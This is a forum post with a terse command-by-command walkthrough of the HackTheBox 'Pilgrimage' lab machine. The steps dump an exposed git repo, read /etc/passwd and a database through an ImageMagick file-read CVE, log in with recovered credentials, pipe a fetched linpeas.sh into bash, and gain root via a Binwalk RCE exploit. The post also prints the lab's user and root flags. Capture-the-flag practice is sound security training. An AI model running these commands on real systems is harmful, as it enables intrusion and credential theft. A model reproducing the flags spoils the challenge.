HTB short walkthrough (Pilgrimage)
by dwecc433 - Thursday August 31, 2023 at 02:36 PM
#1
nmap -A -vv 10.10.11.219 # scan: 10.10.11.219:80/.git/  Git repository found! # web: redirect to pilgrimage.htb sudo sh -c 'echo "10.10.11.219 pilgrimage.htb" >> /etc/hosts' # https://github.com/arthaud/git-dumper git-dumper http://pilgrimage.htb/.git/ git # Use github desktop to analize # index.php line 27 (exec) # Google: magick convert -> ImageMagick # Google: cve ImageMagick -> CVE-2022-44268 (LFI) # Google: ImageMagick CVE-2022-44268 -> https://github.com/Sybil-Scan/imagemagick-lfi-poc python3 tmp_poc.py -f /etc/passwd -o image.png # web: upload image.png wget http://pilgrimage.htb/shrunk/64eb6d907ab7d.png identify -verbose 64eb6d907ab7d.png # Decode from hex in https://gchq.github.io/CyberChef python3 tmp_poc.py -f /var/db/pilgrimage -o image.png wget http://pilgrimage.htb/shrunk/64eb7359a9202.png identify -verbose 64eb7359a9202.png # Decode from hex and save as sqllite file (open in viewer i use pycharm) # found: emily:abigchonkyboi123 ssh emily@10.10.11.219 cat user.txt # a5146ed68c4875512bdac504f7afd62a # https://github.com/carlospolop/PEASS-ng # Download and run in memory wget -qO- http://10.10.*.*:8000/linpeas.sh | bash # ╔══════════╣ .sh files in path # ╚ https://book.hacktricks.xyz/linux-hardening/privilege-escalation#script-binaries-in-path # /usr/bin/gettext.sh # /usr/sbin/malwarescan.sh cat /usr/sbin/malwarescan.sh # from script /usr/local/bin/binwalk -h # Google: cve Binwalk v2.3.2 -> CVE-2022-4510 (RCE) # https://www.exploit-db.com/exploits/51249 wget http://10.10.*.*:8000/binwalk_exploit.png # Run nnetcat and: cp binwalk_exploit.png /var/www/pilgrimage.htb/shrunk/ cat root.txt # 4a4d84fcf763975b9bf8da4986f14d7f
Reply
#2
(08-31-2023, 02:38 PM)begooddata Wrote: thanks for the info today

You are welcome! I like short walkthrough!
Reply
#3
thanks for the help man
Reply
#4
my first machineee
Reply


Possibly Related Threads…
Thread Author Replies Views Last Post
  [FREE] 300+ Writeups PDF HackTheBox/HTB premium retired Tamarisk 360 91,366 03-28-2026, 09:28 AM
Last Post: catsweet
  [FREE] HTB-ProLabs APTLABS Just Flags kewlsunny 23 4,709 03-28-2026, 03:30 AM
Last Post: lulaladrow
  [MEGALEAK] HackTheBox ProLabs, Fortress, Endgame - Alchemy, 250 Flags, leak htb-bot htb-bot 87 9,896 03-27-2026, 07:22 PM
Last Post: stn
  HTB Eloquia User and Root Flags - Insane Box 69646B 13 2,691 03-27-2026, 06:14 PM
Last Post: vlxw
  HTB - ALL Challenges you Stuck in osamy7593 2 2,985 03-27-2026, 04:24 PM
Last Post: catsweet



 Users browsing this thread: 1 Guest(s)